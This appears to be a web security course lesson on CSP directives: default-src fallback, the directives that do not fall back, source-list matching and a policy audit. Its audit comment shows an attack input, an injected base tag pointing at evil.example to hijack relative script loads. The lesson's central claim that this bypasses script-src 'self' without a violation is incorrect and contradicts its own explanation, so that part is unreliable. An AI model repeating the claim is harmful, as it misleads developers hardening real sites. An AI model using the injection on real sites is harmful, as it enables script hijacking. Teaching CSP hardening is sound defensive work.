Catalog My learning Blog
Browser Security Headers: CORS, CSP and Cookies Explained · Phase 3 · Lesson 13 · 6 min read

CSP Directives Explained: default-src and Fallback

On this page
  1. Learning Objective
  2. Concept Explanation
  3. Worked Example: Auditing a Policy for Its Gaps
  4. Real-World Examples
  5. Review Questions & Answers

Learning Objective

Enumerate the fetch directives that matter in a real policy, explain exactly which directives fall back to default-src and which do not, and construct a policy whose gaps you can account for directive by directive.

Concept Explanation

CSP directives divide into fetch directives, which control where a particular kind of resource may be loaded from, and a handful of document and navigation directives that do something else entirely. The fetch directives include script-src, style-src, img-src, font-src, connect-src, media-src, object-src, frame-src, worker-src, manifest-src, and child-src. Each takes a source list: origins, scheme sources such as https:, the keywords self and none, and for script and style the nonce, hash, and unsafe keywords covered in the next lesson.

default-src is the fallback for fetch directives only. If script-src is absent, script loading falls back to default-src; if img-src is absent, images fall back to default-src. The value of this is that default-src 'self' gives you a sensible floor across every resource type, including ones added to the platform after you wrote your policy, and you then override only the specific directives that need something broader. Writing a policy without default-src means every resource type you forgot to name is unrestricted.

The crucial detail, and the most common source of a false sense of security, is that several important directives do not fall back to default-src at all. frame-ancestors, base-uri, form-action, report-uri, report-to, sandbox, and upgrade-insecure-requests are independent: if you omit them, they are simply absent, and default-src 'self' does nothing for them. A policy of default-src 'self' alone therefore leaves the page framable by anyone, leaves an injected base tag able to repoint relative script URLs, and leaves forms able to submit anywhere. These three omissions account for a large share of real-world CSP bypasses.

Source list matching has its own rules worth knowing precisely. A host source without a scheme matches both http and https for that host, which is usually not what you want; write https://cdn.example.com rather than cdn.example.com. A path in a source is matched by prefix, with a trailing slash meaning "this directory and below" and no trailing slash meaning an exact file. Wildcards are permitted only as an entire leftmost subdomain label, so https://*.example.com is valid but https://ex*.example.com is not. The keyword self means the document's own origin and, importantly, does not include subdomains. The keyword none means nothing at all and must be the only value in the list.

Two directives deserve special mention in any real policy. object-src 'none' should be considered mandatory: plugin content via object, embed, and applet has historically been a reliable way to execute script in contexts where script-src did not apply, and no modern application needs it. base-uri 'none' or 'self' is nearly as important, because an injected base tag changes the resolution of every relative URL in the document, including script sources, which can redirect an allowlisted relative script to an attacker's host without ever violating script-src. Both are one-line additions with essentially no compatibility cost.

DirectiveControlsFalls back to default-src?
script-srcWhere scripts may be loaded from and whether inline script runsYes
style-srcStylesheets and inline styleYes
img-srcImages, including faviconsYes
connect-srcfetch, XHR, WebSocket, EventSource, sendBeacon destinationsYes
frame-srcWhat this page may embed in a frameYes, via child-src then default-src
object-srcobject, embed, applet; should always be noneYes
frame-ancestorsWho may embed this page in a frameNo
base-uriWhat the base tag may set as the document base URLNo
form-actionWhere forms on this page may submitNo
report-to / report-uriWhere violation reports are sentNo

Worked Example: Auditing a Policy for Its Gaps

The first policy below looks reasonable and is quietly missing three of the four independent directives. The second closes them. Reading a policy by asking "which non-fallback directives are absent" is the fastest audit there is.

YAML
# POLICY A - looks tidy, has three significant gaps
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

#   img-src, style-src, connect-src   -> covered by default-src 'self'   OK
#   frame-ancestors                   -> ABSENT, page is framable by anyone
#   base-uri                          -> ABSENT, injected <base> repoints scripts
#   form-action                       -> ABSENT, injected form posts anywhere
#   object-src                        -> falls back to 'self', but should be 'none'

# The base-uri gap, exploited:
#   <base href="https://evil.example/">
#   ...causes <script src="/app.js"> to load from evil.example,
#   while script-src 'self' is never violated in the attacker's view.

# POLICY B - the same intent, with the independent directives stated
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  connect-src 'self' https://api.example.com;
  img-src 'self' data: https://images.example.com;
  object-src 'none';
  base-uri 'none';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests
The directive fallback graph, with fetch directives resolving through child-src to default-src and the four independent directives, frame-ancestors, base-uri, form-action and report-to, drawn outside the fallback chain entirely.
The directive fallback graph, with fetch directives resolving through child-src to default-src and the four independent directives, frame-ancestors, base-uri, form-action and report-to, drawn outside the fallback chain entirely.

Real-World Examples

  • The base-uri bypass is documented in Google's CSP research and in the Content Security Policy Level 3 specification's own security considerations: a policy specifying script-src 'self' can be fully defeated by an injected base tag that changes where relative script URLs resolve, which is why the CSP Evaluator tool published by Google flags a missing base-uri directive as a high-severity finding on any policy it analyzes.
  • Google publishes the CSP Evaluator at csp-evaluator.withgoogle.com precisely because reading a policy for its gaps is error-prone by hand; the tool grew out of the same research that found the overwhelming majority of deployed policies bypassable, and its highest-severity checks are exactly the ones covered here: missing object-src, missing base-uri, and overly broad script-src sources.
Common Pitfalldefault-src covers fetch directives only. frame-ancestors, base-uri, form-action, report-to, and sandbox never fall back to it, so a policy of default-src 'self' alone leaves your page framable, leaves an injected base tag able to repoint every relative script URL, and leaves forms able to post credentials anywhere. State those directives explicitly in every policy.

Review Questions & Answers

Framing, since frame-ancestors does not fall back and is therefore absent, leaving the page open to clickjacking. Base URL manipulation, since base-uri is absent, so an injected base tag can redirect every relative script URL to an attacker host. Form destinations, since form-action is absent, so an injected form can post credentials anywhere. There is also no reporting configured, so violations are invisible. The fetch directives are covered, which is precisely what makes the policy look complete at a glance.

If an attacker can inject a base tag pointing at their own origin, every relative URL in the document resolves against that origin instead of the document's own. A script tag written as src="/app.js" now loads from the attacker's server. From the browser's point of view no policy was violated, because the resolved URL is checked against script-src only after base resolution has been applied, and the page author never intended a relative URL to be attacker-controlled. Setting base-uri to none or self removes the capability entirely.

Because plugin content loaded through object, embed, and applet has historically provided script execution paths that script-src does not govern, and because no modern web application has a legitimate need for it. It is a one-token addition with no realistic compatibility cost that removes an entire class of bypass, which is why automated policy analyzers treat its absence as a high-severity finding rather than a stylistic note.

A host source written without a scheme matches both http and https for that host, so cdn.example.com permits loading over plaintext HTTP where a network attacker can substitute content. Writing the scheme explicitly restricts it to HTTPS. The same care applies to wildcards: a wildcard is only valid as an entire leftmost label, so https://*.example.com is legal while partial-label patterns are not, and self refers strictly to the document's own origin with no subdomain inclusion.